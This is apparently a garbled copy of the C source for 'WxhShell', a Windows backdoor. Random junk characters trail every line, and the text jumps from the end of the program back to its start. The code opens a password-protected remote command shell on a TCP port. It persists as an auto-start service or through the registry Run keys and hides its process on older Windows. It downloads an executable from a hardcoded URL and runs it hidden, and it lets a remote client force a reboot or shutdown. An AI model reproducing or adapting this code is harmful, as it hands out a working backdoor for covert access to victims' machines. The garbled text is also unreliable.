    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [42EqVR  
    if(Boot(SHUTDOWN))  3 UX/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xb22 :  
    else { _ \LP P_  
    closesocket(wsh); $[1J[eY*  
    ExitThread(0); pX LXkF?  
    } Ht_7:5v&   
    break; r 1x2)  
    } c*c 8S~6  
  // 获取shell }VDJ  
  case 's': { JMVh\($,x  
    CmdShell(wsh); 4;D>s8dgG  
    closesocket(wsh); T_NN.Ol   
    ExitThread(0); W0qn$H  
    break; jM'(Qa  
  } XRx^4]c  
  // 退出 @||GMA+|  
  case 'x': { r0L' mf$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X*QQVj  
    CloseIt(wsh); ul!e!^qwx  
    break; S #6:!  
    } FesUE_L2$  
  // 离开 l1uv]t <  
  case 'q': { H5X.CcI&}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r t\eze_5A  
    closesocket(wsh); "Iu Pg=|#  
    WSACleanup(); %Xjg/5G-  
    exit(1); Jnl#d0) -  
    break; `Dp_c&9]  
        } Zg;%$ kSQ  
  } 3"HX':8x  
  }  \s^4f#  
^w6~?'}  
  // 提示信息 GEbm$\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m&{%6  
} A=bBI>GEYP  
  } m!LJK`gA  
MNWuw;:v  
  return; 4khc*fh  
} 8Luw< Q  
C]GW u~QF  
// shell模块句柄 ;oGpB#[zO  
int CmdShell(SOCKET sock) MG(qQ#;j/  
{ 9~ r YLR(v  
STARTUPINFO si; fj:q_P67o  
ZeroMemory(&si,sizeof(si)); ]!'9Y}9a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (_Ky' .  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n1r'Y;G  
PROCESS_INFORMATION ProcessInfo; ||^+(  
char cmdline[]="cmd"; 7?W1i{(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @0&KM|+  
  return 0; Ro :)N:C  
} vH)V\V  
`Ti?hQm/  
// 自身启动模式 y@2$sK3K  
int StartFromService(void) J[{?Y'RUM  
{ c#<p44>U  
typedef struct <&MY/vV  
{ F*J@OY8i  
  DWORD ExitStatus; :=e"D;5  
  DWORD PebBaseAddress; MCO`\"`l  
  DWORD AffinityMask; y\@INA^  
  DWORD BasePriority; 1T/ 72+R0  
  ULONG UniqueProcessId; r"bV{v  
  ULONG InheritedFromUniqueProcessId; MR}h}JEx0  
}   PROCESS_BASIC_INFORMATION; cVuT|b^  
9`Zwa_Tni  
PROCNTQSIP NtQueryInformationProcess; Xcw 6mpLt  
NGL,j\(~7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @*^%^ P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LyNLz m5  
7x//4G   
  HANDLE             hProcess; $ )orXe|  
  PROCESS_BASIC_INFORMATION pbi; )Nnrsa  
xjH({(/B>a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H-/w8_} KG  
  if(NULL == hInst ) return 0; [I2vg<my  
Y@2v/O,\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Yu|LaI\<m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,ocAB;K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i>{.Y};  
[|tlTk   
  if (!NtQueryInformationProcess) return 0; H*E4+3y  
..;ep2jSs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s_4y^w]aX  
  if(!hProcess) return 0; E:ti]$$  
Ck>{7 Gw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |?<^4U8  
$b`~KMO  
  CloseHandle(hProcess); qLa6c2o,  
yP0XA=,Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v]c+|nRs  
if(hProcess==NULL) return 0; I08W I u  
u`Abko<D  
HMODULE hMod; <Wa7$hF  
char procName[255]; ='Fh^]*5  
unsigned long cbNeeded; BI:O?!:9)  
?cKe~Q?3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m,^UD{  
X-j3=8wPM  
  CloseHandle(hProcess); q"$C)o  
xM2UwTpW  
if(strstr(procName,"services")) return 1; // 以服务启动 +~\1g^h  
G6q*U,  
  return 0; // 注册表启动 f(E[jwy  
} &@fW6},iW  
xFp?+a  
// 主模块 v%E~sX&CG  
int StartWxhshell(LPSTR lpCmdLine) ykD-L^}  
{ 4`'V%)M  
  SOCKET wsl;  ?F/)<r  
BOOL val=TRUE; .kp3<.  
  int port=0; >?|c>HGX  
  struct sockaddr_in door; {VT**o  
;&`6b:ug  
  if(wscfg.ws_autoins) Install(); Hh`HMa'q  
C8AR ^F W  
port=atoi(lpCmdLine); /amWf^z  
ra}t#Xt`  
if(port<=0) port=wscfg.ws_port; Rgb&EnVW  
a3c43!J?M  
  WSADATA data; @j'GcN vs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K:54`UJ  
rp,Us#>6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C"R}_C|r)*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 04#<qd&ob@  
  door.sin_family = AF_INET; Tl L\&n.$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j|%>NB ):  
  door.sin_port = htons(port); 3,)[Q?nKD  
*QA{xvT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9{CajtN  
closesocket(wsl); Ib2n Bg>j  
return 1; ;"JgNad  
} 'c#AGi9  
k%?qN,Cl  
  if(listen(wsl,2) == INVALID_SOCKET) { >/G[Oo  
closesocket(wsl); z yrjb 8  
return 1; P#-p* 4  
} _@! yj  
  Wxhshell(wsl); />2zKF?  
  WSACleanup(); to(lE2`.da  
q+{yv  
return 0; [E)&dl_k  
[ i8Ju  
} Q& S 7_  
V?"1&m& E  
// 以NT服务方式启动 <[' ucp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) He1~27+99  
{ F0ylJ /E  
DWORD   status = 0; hq?F8 1  
  DWORD   specificError = 0xfffffff; =kjD ]+l  
Qq3>Xv <  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fU|4^p)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9e;8"rJ?C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5#mHWBGd7  
  serviceStatus.dwWin32ExitCode     = 0; &Y1RPO41J  
  serviceStatus.dwServiceSpecificExitCode = 0; z-^/<u1p  
  serviceStatus.dwCheckPoint       = 0; ta0;:o?/d  
  serviceStatus.dwWaitHint       = 0; qJ[wVNHh!  
`. 3{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;E0x#JUrw  
  if (hServiceStatusHandle==0) return; : `,#z?Rk  
 GjyTM  
status = GetLastError(); z[l_<`J$9  
  if (status!=NO_ERROR) ^f9>tI{  
{ `$XgfMBf |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #6mr'e1  
    serviceStatus.dwCheckPoint       = 0; xtK}XEhG!  
    serviceStatus.dwWaitHint       = 0; 6\USeZh  
    serviceStatus.dwWin32ExitCode     = status; @?5pY^>DK  
    serviceStatus.dwServiceSpecificExitCode = specificError; @./ @"mR<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W4"1H0s`l  
    return; )!=fy']  
  } ??z&w`Yy,  
]0=THq\H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?f:ND1jU  
  serviceStatus.dwCheckPoint       = 0; J|C CTXT  
  serviceStatus.dwWaitHint       = 0; 3{M0iNc1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .p%V]Ka  
} O)c3Lm-w  
o.wXaS8  
// 处理NT服务事件,比如:启动、停止 z`sW5K(A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f('##pND@  
{ BO0Y#fs  
switch(fdwControl)  K0Lc~n/  
{ `d4;T|f+=  
case SERVICE_CONTROL_STOP: 3`Dyrj#!  
  serviceStatus.dwWin32ExitCode = 0; {7.uwIW.1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c=aVYQ"2  
  serviceStatus.dwCheckPoint   = 0; ,.AXQ#~&`  
  serviceStatus.dwWaitHint     = 0; >nO[5  
  { 1rV9dM#F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7pM&))R  
  } b6g/SIae  
  return; c*",AZ>U  
case SERVICE_CONTROL_PAUSE: c=<^pCa9t1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rm Q>.?  
  break; AmK g;9LS  
case SERVICE_CONTROL_CONTINUE: k#G+<7c<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rBZ00}  
  break; c 6/lfgN  
case SERVICE_CONTROL_INTERROGATE: uFL!* #A  
  break; at(gem  
}; A_+*b [P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 06I(01M1   
} X/H2c"!t  
)2J#pz?.  
// 标准应用程序主函数 EUS^Gtc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1-Q>[Uz,  
{ G{0f* cH)  
!J(6E:,b#  
// 获取操作系统版本 a> S -50  
OsIsNt=GetOsVer(); $YK~7!!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~>$z1o&}.  
' wKTWmf?\  
  // 从命令行安装 |sBL(9  
  if(strpbrk(lpCmdLine,"iI")) Install(); -v=tM6  
|T{ZDJ+  
  // 下载执行文件 5#::42oE  
if(wscfg.ws_downexe) { iOiXo6YE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Hnf?`j>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z|j\_VKhl  
} p7[&H/  
a KIS%M#Y  
if(!OsIsNt) { 4|NcWpaV7  
// 如果时win9x,隐藏进程并且设置为注册表启动 0$|wj^?U  
HideProc(); soqnr" 1  
StartWxhshell(lpCmdLine); Mm%b8#Fe!  
} cBU@853  
else d4o_/[  
  if(StartFromService()) fa,;Sw  
  // 以服务方式启动 EHm:&w  
  StartServiceCtrlDispatcher(DispatchTable); 2>im'x 5  
else MJ.Kor  
  // 普通方式启动 Yy_mX}\x  
  StartWxhshell(lpCmdLine); :s|xa u=  
6+Y@dJnPT  
return 0; Ps~)l#gue  
} bj FND]p?w  
$B`bsJ  
)T@+"Pw8t  
\p\rPf Y{>  
=========================================== dq3"L!0u  
aW b5w  
/_r{7Gq.  
a2H_8iQ!  
Q]-r'pYr  
)==Qo/N:  
" K555z+,'e  
; .hTfxE0  
#include <stdio.h> ]v.Yt/&C{  
#include <string.h> /!-ypIY  
#include <windows.h> e_Q(l'f  
#include <winsock2.h> AmcBu"  
#include <winsvc.h> "H}ae7@  
#include <urlmon.h> #DcK{|ty  
cQh=Mri]  
#pragma comment (lib, "Ws2_32.lib") s$VLVT*6  
#pragma comment (lib, "urlmon.lib") op|x~Thf  
Do;rY\sY  
#define MAX_USER   100 // 最大客户端连接数 }j,G)\g#  
#define BUF_SOCK   200 // sock buffer n7d`J_%s  
#define KEY_BUFF   255 // 输入 buffer yj9 Ad*.  
+ID% (:  
#define REBOOT     0   // 重启 kYkck]|  
#define SHUTDOWN   1   // 关机 \>4x7mF!  
 34~[dY  
#define DEF_PORT   5000 // 监听端口 cS"PIelR  
n/IDq$/P  
#define REG_LEN     16   // 注册表键长度 V,:~FufM^  
#define SVC_LEN     80   // NT服务名长度 kZS&q/6A*  
:N>s#{+"3  
// 从dll定义API ooT~R2u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BO;LK-V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I^S{V^Ty  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S]biN]+7s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9|//_4]  
e6^iakSd.L  
// wxhshell配置信息 )X-TJ+d  
struct WSCFG { mOx>p"n  
  int ws_port;         // 监听端口 ~ *P9_<  
  char ws_passstr[REG_LEN]; // 口令 U6oab9C?k  
  int ws_autoins;       // 安装标记, 1=yes 0=no E)F"!56lV  
  char ws_regname[REG_LEN]; // 注册表键名 Xr pnc 7  
  char ws_svcname[REG_LEN]; // 服务名 ,U'E!?=:VS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x<{)xP+|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `d:cq.OO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BmFs6{>~c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n\H.NL)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6-uB[$ko  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F% K}&3  
gnU##Km|  
}; +4k7ti1Qb  
q=cH ^`<.  
// default Wxhshell configuration ,?s: s&4  
struct WSCFG wscfg={DEF_PORT, >"+bL6#  
    "xuhuanlingzhe", <US!XMrCg  
    1, XJi^gT N  
    "Wxhshell", @0q*50  
    "Wxhshell", l&v&a!EU  
            "WxhShell Service", ZNG{:5u,  
    "Wrsky Windows CmdShell Service", [7SR2^uf<j  
    "Please Input Your Password: ", =%oKYQ  
  1, j0[9Cj^%c  
  "http://www.wrsky.com/wxhshell.exe", C@s;0-qL  
  "Wxhshell.exe" *7 >K"j  
    }; -AU!c^-o  
9~WjCa*,&  
// 消息定义模块 yn-TN_/Y,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \~'+TW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P[C03a!lXg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V .VV:`S  
char *msg_ws_ext="\n\rExit."; Fs)m;C  
char *msg_ws_end="\n\rQuit."; /|{~GD +A&  
char *msg_ws_boot="\n\rReboot..."; z[ ml;?  
char *msg_ws_poff="\n\rShutdown..."; J2~oIe2!+  
char *msg_ws_down="\n\rSave to "; "+J[7p}`@  
I%31MU9  
char *msg_ws_err="\n\rErr!"; :0B' b  
char *msg_ws_ok="\n\rOK!"; [\e2 ID;  
%1VfTr5  
char ExeFile[MAX_PATH]; W02swhS  
int nUser = 0; IEW[VU)  
HANDLE handles[MAX_USER]; | WMq&-$D  
int OsIsNt; >pn5nn1a  
QAh6!<.;@  
SERVICE_STATUS       serviceStatus; j #)K/`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6@o *"4~Q  
h ?%]uFJC  
// 函数声明 Qcr-|?5L  
int Install(void); lVQy {`Ns  
int Uninstall(void); F%>`?NG+c  
int DownloadFile(char *sURL, SOCKET wsh); 4I^8f||b_  
int Boot(int flag); VCUEzR0  
void HideProc(void); iSxuor ^;  
int GetOsVer(void); VVyms7 VN  
int Wxhshell(SOCKET wsl); ~!{y3thZ  
void TalkWithClient(void *cs); ZJ|'$=lR  
int CmdShell(SOCKET sock); _ -/<bO  
int StartFromService(void); AjA.="3  
int StartWxhshell(LPSTR lpCmdLine); DQOEntw  
ON<X1eU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OAXF=V F#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s0x;<si_  
#y&O5    
// 数据结构和表定义 L@HWm;aN  
SERVICE_TABLE_ENTRY DispatchTable[] = n:wZL&ZV0  
{ Gt;59}  
{wscfg.ws_svcname, NTServiceMain}, G;3N"az  
{NULL, NULL} OwM.N+ z#T  
}; 1W +QcK4k  
oaJnLd90W  
// 自我安装 c$HZvv  
int Install(void) Td6"o&0A!  
{ s5'So@L8  
  char svExeFile[MAX_PATH]; e[a?5,s2  
  HKEY key; :F`yAB3  
  strcpy(svExeFile,ExeFile); i5 F9*  
d]6#pSE  
// 如果是win9x系统,修改注册表设为自启动 78 W&  
if(!OsIsNt) { d2e4=/ A%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .[KXO0Ui6u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \E<t'\>@X  
  RegCloseKey(key); #c:b8rw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >C|i^4ppI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E}WO?xxv74  
  RegCloseKey(key); $m-rn'Q  
  return 0; h!L6NS_Q,  
    } zU)Ib<$  
  } $M=W`E[g  
} }}'0r2S  
else { V]$Tbxg  
(NBq!;_2,x  
// 如果是NT以上系统,安装为系统服务 3'zm)SXJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5#v|t\ {  
if (schSCManager!=0) C`0;  
{ M@/Hd0$  
  SC_HANDLE schService = CreateService (;@\gRL  
  ( E5J2=xVW#  
  schSCManager, 8XU m.nV  
  wscfg.ws_svcname, .oNs8._:  
  wscfg.ws_svcdisp, JBKCa 3  
  SERVICE_ALL_ACCESS, /{9"O y7E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _a 40lcP  
  SERVICE_AUTO_START, VV1I2YcKt  
  SERVICE_ERROR_NORMAL, \)Bws `  
  svExeFile, 5/),HGxi  
  NULL, )Q%hd|R  
  NULL, -}Iw!p#O3  
  NULL, Uxyj\p  
  NULL, *=X$j~#X  
  NULL i;XkH4E:)  
  ); yfd$T}WW6  
  if (schService!=0) QIMoe'p  
  { #&cNR_"w  
  CloseServiceHandle(schService); RN%*3{-  
  CloseServiceHandle(schSCManager); ,'m<YTF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *"pf3x6  
  strcat(svExeFile,wscfg.ws_svcname); #H@rb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  H?(I-vO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &7YTz3aj  
  RegCloseKey(key); W_E0+  
  return 0; _8U 5mW  
    } u,R;=DNl  
  } 2C!Ko"1Y'  
  CloseServiceHandle(schSCManager); s]"NqwIPK  
} [JY1|N  
} 8"zFTP*;u  
.qcIl)3  
return 1; \NEXtr`Th  
} 4[ 7) $  
]R$ u3F  
// 自我卸载 m;S!E-W  
int Uninstall(void) )\bA'LuFy  
{ a&Stdh  
  HKEY key; YjTRz.e{[7  
TA.ugF)h  
if(!OsIsNt) { (W~')A"hC'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \D9J!K82  
  RegDeleteValue(key,wscfg.ws_regname); oM&}akPE  
  RegCloseKey(key); c?;YufH'j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6i6m*=h  
  RegDeleteValue(key,wscfg.ws_regname); 9Dq^x&z(  
  RegCloseKey(key); u]W$' MyY  
  return 0; ]>33sb S6  
  } JfJLJ(}  
} I,*zZNv Ri  
} ;PO{ ips  
else { c==5cMUg  
!&$uq|-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _NfdJ=[Xh  
if (schSCManager!=0) \lJCBb+k  
{ w&vZ$n-|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BP&T|s  
  if (schService!=0) ]5V=kNu i  
  { dOm@cs  
  if(DeleteService(schService)!=0) { +ld]P}  
  CloseServiceHandle(schService); 5d7AE^SHsH  
  CloseServiceHandle(schSCManager); [O"9OW'2!B  
  return 0; xp!M A  
  } 56;^ NE4  
  CloseServiceHandle(schService); :6 , `M,  
  } Z?Cl5o&l b  
  CloseServiceHandle(schSCManager); e;M#MkP7  
} 8QYP\7}o  
} >tmv3_<=  
A)2eo<ij4  
return 1; Ej\M e  
} k$kOp *X  
;.O#|Z[  
// 从指定url下载文件 xnuu#@f  
int DownloadFile(char *sURL, SOCKET wsh) e ej:  
{ B<99-7x3  
  HRESULT hr; kq{PM-]l  
char seps[]= "/"; ")'9:c  
char *token; X=8CZq4  
char *file; A5UZUU^  
char myURL[MAX_PATH]; \gBsAZE  
char myFILE[MAX_PATH]; PQu_]cXI  
EO&PabZWR  
strcpy(myURL,sURL); > FVBn;1  
  token=strtok(myURL,seps); {Dc{e5K  
  while(token!=NULL) Io|3zE*<  
  { #-]!;sY>  
    file=token; :>:F6Db"U  
  token=strtok(NULL,seps); FZt a  
  } FZvh]ZX  
p;y\%i_  
GetCurrentDirectory(MAX_PATH,myFILE); Y#VtZTcT  
strcat(myFILE, "\\"); eWN[EJI<  
strcat(myFILE, file); GOKca%DT=  
  send(wsh,myFILE,strlen(myFILE),0); ,2|(UTv  
send(wsh,"...",3,0); Oc Gg'R7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mMNT.a  
  if(hr==S_OK) ~t>i+{J KE  
return 0; s=Cu-.~L  
else vKcZgIR  
return 1; IL]Js W  
#j+0jFu  
} qZV.~F+  
0^0Q0A  
// 系统电源模块 U#qs^f7R  
int Boot(int flag) TrYt(F{t  
{ 0r=KY@D  
  HANDLE hToken; 'lsG?  
  TOKEN_PRIVILEGES tkp; !OCb^y  
\CY_nn|&g  
  if(OsIsNt) { ujLz<5gKuO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7f$ hg8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8wi2&j_  
    tkp.PrivilegeCount = 1; G~VukW<e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \l_U+d,qq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j(QK0"z  
if(flag==REBOOT) { fn~Jc~[G|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m,Fug1+N  
  return 0; F[ '<;}  
} 8l50@c4UF~  
else { `y^tCJ2u*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .|VWYN  
  return 0; Knjg`f  
} u ? }T)B  
  } hhM?I$t:  
  else { /c&;WlE/n  
if(flag==REBOOT) { r(VGdG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ft[)m#Dj`  
  return 0; l0v]+>1i:  
} Ag82tDL[u  
else { fF|m~#y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f4 [Bj{F  
  return 0; 4Odf6v,*@  
} % >mB"Y,  
} [PhT zXt  
8fH. E  
return 1; Pf,lZU?f  
} ]\.3<^  
3G.-JLhs  
// win9x进程隐藏模块 s|O4 >LsG  
void HideProc(void) <5xlP:Cx  
{ O-N@HZC  
tLD(%s_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GGWdMGI/  
  if ( hKernel != NULL ) 4g "_E  
  { zz7#g U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ssx #\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0sR+@\  
    FreeLibrary(hKernel); |EjMpRNE  
  } ar%!h~  
2," (  
return; p%]ZG,  
} Jg2*$gL;_  
n a3st*3V_  
// 获取操作系统版本 Cu`uP[# ch  
int GetOsVer(void) (nUSgZz5  
{ S#|dmg;p  
  OSVERSIONINFO winfo; )Bb:?!EuEH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /hC'-6:]^  
  GetVersionEx(&winfo); 7_^JgA|Kk7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dBG5IOD  
  return 1; 'Cp]Q@]\  
  else 's>./Pf  
  return 0; :rdnb=n  
} }R\;htmc;  
\Q~HL_fy|Y  
// 客户端句柄模块 LPRvzlY=  
int Wxhshell(SOCKET wsl) R/|2s  
{ +p\+ 15  
  SOCKET wsh; #$?!P1  
  struct sockaddr_in client; vyXL F'L  
  DWORD myID; Tg;1;XM%  
GX@=b6#-  
  while(nUser<MAX_USER) O~bJ<O=?  
{ 6$ \69   
  int nSize=sizeof(client); ^*@D%U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4*Y`Pn@  
  if(wsh==INVALID_SOCKET) return 1; 0%b !ARix  
[Q:C\f]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f.{/PL  
if(handles[nUser]==0) ZR |n\.  
  closesocket(wsh); f8 vWN  
else c_Fz?R+f?K  
  nUser++; 'X(Sn3  
  } )N}.n2Y8W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); enB 2-)< K  
E8Y(C_:s  
  return 0; |j w{7\+  
} p8bAz  
|3K]>Lio  
// 关闭 socket J*zm*~8\  
void CloseIt(SOCKET wsh) |k [hk  
{ hha!uD~(  
closesocket(wsh); dZ;rn!dg>  
nUser--; s^lm 81;  
ExitThread(0); ^a #  
} C%T$l8$  
\*i[m&3;q  
// 客户端请求句柄 ZhnRsn9  
void TalkWithClient(void *cs) FrL ;1zt  
{ #_9Jam%M  
9X ^D(  
  SOCKET wsh=(SOCKET)cs; [qHtN.  
  char pwd[SVC_LEN]; NB)$l2<d  
  char cmd[KEY_BUFF]; {K ,-fbE  
char chr[1]; gg+!e#-X  
int i,j; DMpNm F>  
FXO{i:Zo  
  while (nUser < MAX_USER) { kgGMA 7Jy  
t}m"rMbt  
if(wscfg.ws_passstr) { @S#Ls="G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wVac6q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QKt+Orz  
  //ZeroMemory(pwd,KEY_BUFF); =Dc9|WuHN  
      i=0; C[2LP$6*/  
  while(i<SVC_LEN) { 1yT\|2ARZ%  
I>n2# -8  
  // 设置超时 hutdw>  
  fd_set FdRead; hY}.2  
  struct timeval TimeOut; a&)4Dv0  
  FD_ZERO(&FdRead); _a&Mk  
  FD_SET(wsh,&FdRead); <v+M~"%V  
  TimeOut.tv_sec=8; O tD!@GQ6  
  TimeOut.tv_usec=0; F0 ^kUyF|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E As1 =  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A>Y!d9]ti  
0?/vcsO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dePI&z:  
  pwd=chr[0]; LvbS")  
  if(chr[0]==0xd || chr[0]==0xa) { -5.~POO  
  pwd=0; wpS $ -  
  break; MgG_D6tDM  
  } Ua\<oD79]  
  i++; yIG*  
    } 0OF]|hH  
nA 5-P}  
  // 如果是非法用户,关闭 socket LAcK%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y>a2w zr  
} x^u [L$  
IKVS7m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h6uv7n~4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (8d"G9R(  
J]mq|vE  
while(1) { /aX#j`PrH  
|\] _u 3  
  ZeroMemory(cmd,KEY_BUFF); vm4q1!!(  
/Z m5fw9  
      // 自动支持客户端 telnet标准   YdiXj |k+  
  j=0; HP G*o  
  while(j<KEY_BUFF) { g)UYpi?p-}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3X]\p}]z  
  cmd[j]=chr[0]; d`ESe'j:  
  if(chr[0]==0xa || chr[0]==0xd) { 6j5?&)xJ  
  cmd[j]=0; g4=6\vg  
  break; &Rxy]kBA  
  } lgei<\6~n5  
  j++; g4CdzN~  
    } = }6l.9  
avwhGys#  
  // 下载文件 ;y%C\YB#  
  if(strstr(cmd,"http://")) { HS[N]'dc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t]PO4GA  
  if(DownloadFile(cmd,wsh)) UCDvN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[yUUYe  
  else ?KF.v1w7  
